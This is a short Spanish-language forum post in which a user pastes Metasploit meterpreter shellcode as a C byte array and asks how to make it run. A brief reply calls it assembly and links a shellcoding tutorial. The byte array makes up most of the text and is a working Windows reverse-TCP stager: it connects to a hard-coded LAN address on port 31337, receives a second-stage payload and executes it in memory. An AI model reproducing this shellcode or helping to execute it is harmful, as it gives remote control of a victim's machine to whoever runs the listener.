Resulta que al crear un payload en C desde meterpreter me sale estoy no se muy bien como poner esto en un programa en C, porque me compila pero el programa no hace lo que debería hacer. ¿Me podeis guiar un poco?

unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x01\x06\x68"
"\x02\x00\x7a\x69\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
"\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";

Eso debe ser código ensamblador, busca sobre shellcoding

por ejemplo http://www.vividmachines.com/shellcode/shellcode.html

Si no miraste el tema de shellcoding, es recomendable que busques información sobre ello.